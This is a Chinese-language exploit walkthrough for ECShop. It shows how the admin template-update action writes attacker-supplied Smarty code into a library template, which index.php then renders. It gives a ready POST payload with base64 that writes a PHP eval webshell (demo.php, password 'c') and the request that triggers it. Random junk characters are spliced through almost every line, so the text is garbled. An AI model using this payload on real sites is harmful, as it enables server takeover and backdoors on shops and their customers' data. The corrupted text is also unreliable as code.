首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
; D0 _5 N+ [% s6 C5 R
- Y% i. x$ S8 s而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了9 w8 h6 h, m9 K& G9 \/ o7 f# g; d# X
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码* q- M1 q* B2 P+ h% ^
admin/template.php
# ]. z$ R8 O/ t- ]# y U* ^8 t! C5 A* k2 ]8 `1 ]. H9 U% ^
1 if ($_REQUEST['act'] == 'update_library') D( Z! o; a' I0 R) Q0 E/ ^1 N
% j0 m5 m& T$ }2 X2 & {$ n. @! a/ N0 n9 b3 o- G/ x
! |( I# V5 n! b, M. z3 {
# ?% A9 }2 G' D8 S6 h" _# X0 W. f$ p. [+ A- M% [
4 check_authz_json('library_manage'); * J, e% L4 N9 M& i& e: o
+ m6 y1 N) x8 A: l2 Y' |5
7 q/ c! A, E3 i6 ]9 o
z5 Z9 w8 v1 B# _6 $html = stripslashes(json_str_iconv($_POST['html'])); " }" z8 z/ M5 I/ T7 a F% h7 ^
1 D1 s' F. S x% R5 h7
6 d* J, R" E; a7 N' Y( q9 E h3 x' M7 r4 f' A7 A$ V% g5 I
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 ! U4 j- L6 H' z$ t* a2 e
* [+ i7 c& K$ ?& p( `
9
. q4 E: P. ^* p3 }" a& [- w* g
7 j4 A# s) H L0 V* I G& d+ Z10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 1 Z6 l2 a& x- \7 m
2 }) b' r% h6 \. `! v. \11
, ^1 [. V4 B) Q+ Y2 d6 L0 e
6 m) | |$ x9 V( V, C/ m* L- L12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
( r) O# a0 a* Y+ V0 K) b4 t
+ l! L5 ~4 Z$ A U8 W& Z# n13 - N$ e( ?/ C& K1 V& l/ E
( ~; k5 ~( @! c: q3 x: I* V4 J) X
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 . _* ~7 ^0 e* n
- v% x" h, R# h6 F- l
15 {
! \' u/ D9 ]7 {) {1 d1 ?8 l* h' e* g8 i( i; M
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); ( j- }: ]7 h/ b' S3 x
' u" j8 ~/ H0 W, z9 h17 make_json_result('', $_LANG['update_lib_success']);
z0 w- `" m2 D+ ^+ b |
. k* b& ~- {) ^$ L# d: |9 [. z18 }
7 f6 o9 ]$ L# W( P
0 a- w: p2 p8 b0 `2 N; p19 else
/ e, z( A9 i+ B- ^' h4 R! f
6 \# K, |" Y3 ?) [6 h5 ?2 ]/ [20 {
2 [: E" Z, ^9 h4 k+ X, ?: l+ ^, x# U2 [0 Q6 J" k
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 7 l( t7 |6 \1 l* L
# {6 w' D( @* d- ^22 } % T, ~# d4 w+ H! k
# X2 Q1 @& Q# _* @) V- |23 } 9 h) M5 g7 V2 i3 z, {9 ?6 _
3 k% ?; Y, Q' c1 j# k$ m2 X' z( z那么找个比较方便调用了模板的文件5 }! u2 x! f0 p2 @9 m+ W8 e
index.php
0 d5 d! R0 |3 ]4 I
+ \9 M3 l, w# v* g3 {# s1 if ($act == 'cat_rec') - t% V: S/ v( I" c& G7 c
H" r, F W# p: ~5 E Q6 x& Z9 t
2
; N2 J3 ^- F& d8 T8 R& B& L
$ V5 ~& y$ ~# q. n% b3 { " J( }* A% G9 E
5 @) z! f3 x0 P4 r$ Y; p* t4
6 u$ p+ w, H5 ?2 F- e2 E. o) s7 h* ^, p; A; q
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); x: P$ B% s* ^4 h
- ?9 m9 N2 _; L
6 # s' f7 a. w3 \( j
+ [4 X5 {* d r( \, T k
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; ! d$ m2 i6 {+ R. r3 R! @
- J2 W. ]4 c. r% u, D+ w' o8 " ~- \! z+ [' t
r8 L& L0 l: W
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; : r, B9 V& f4 r: g) w2 N; \6 k
' g2 N# Y" W- Y. _" o- k
10
2 O, x% M7 }4 p$ i! T2 ~
& S/ i: V( P3 v- e9 J5 ~, H' v2 t11 include_once('includes/cls_json.php');
9 l, ?7 w% a/ f- J, D( Z# n3 u3 C$ b. N+ ^) J
12
' l& Z. W8 l7 E! O9 ~+ q5 V
! o* Z4 R" c1 G5 D13 $json = new JSON;
( o2 ?9 i, l# z3 [# ?/ x) r0 B" H& Y, o6 v- f
14 ( g( c) A3 X- V' k1 `' u0 O8 n" \- s% ^
9 g& J7 o4 A6 b( C4 l, O6 a
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
5 Q/ S4 e* W: |; ]
& z. q# q8 L2 X4 U2 W4 d: D16
|; l4 |) T: z9 ^ M6 x
* u. X! d1 {0 C; P% {17 $children = get_children($cat_id);
7 a% v6 P% u5 B- _7 I
( W" Y) ?# \3 [! R18 / A, S# x+ d: ?# }% U
" ~4 V* ?! \9 d1 c19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 ( i% B/ B! s( `, z% O
7 l& v% K: w$ p' o: m$ m20 ' I: d; p) |8 d! L9 k
( C0 M- ?9 I2 `# h! S( u3 x
21 $smarty->assign('cat_rec_sign', 1); & O! X2 |8 Z4 d* N/ q) `6 G
/ v4 u1 `! Q3 W" _& F5 t0 y
22
$ _0 O0 s. }/ ?. ]( j5 k- n9 E
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
% m+ g; P4 O5 `% X0 X% i
, d- g+ J) Y- a3 H* V8 a24
8 N5 K" Z5 v7 e) r: v1 [. t2 `& g* F6 ]3 @
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; , s1 m- ^( p- n
9 @! {% b$ }; B) Y0 Y1 r+ J
26 }0 U( Q! ]0 M
5 U& u! E I9 F$ n1 P$ S4 M0 C- X
27 echo $rec_array[$rec_type]; ) ]# X T4 a4 ]8 B9 N7 [7 i
. K8 Y8 T# ~# d0 V' w0 e- @
28
T6 o0 p, a" i8 g% i- [ Q
) N) S( T; _9 x0 g9 ^29 die($json->encode($result));
6 q/ _" Z. I' M" y) v- d1 {) m! B. n
30 % _0 {( L" R1 K6 V* p9 }. x. r
( o/ F! o* _$ O4 _+ H# j5 }31 } - I$ V8 {. L1 C" ?& g
6 n: i" R" l1 I那么就有利用方法了8 A4 x) f' S* u) m
post包到http://localhost/ec/admin/template.php?act=update_library ~% B7 S. C! A1 i3 B* U' ]( F% F) t
Post内容:
! d, f* C4 t# ~% A
; V5 y1 b$ X# L" T, |5 l, k" j' {9 A: U0 G n
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
; @* F. {, J1 T, X( n* @6 D7 t! X; h0 X: I; R, O
然后访问http://localhost/ec/index.php?act=cat_rec
1 q$ `2 {$ R1 U. g; Z
6 g4 T' x. x& c- cshel地址:http://localhost/ec/demo.php! c7 C. x' ], J( o( j) x
密码c; d4 p& @! R' R$ k5 \; C R& @) a% C7 S
) w8 @/ l/ Y/ A4 ?" Z/ { |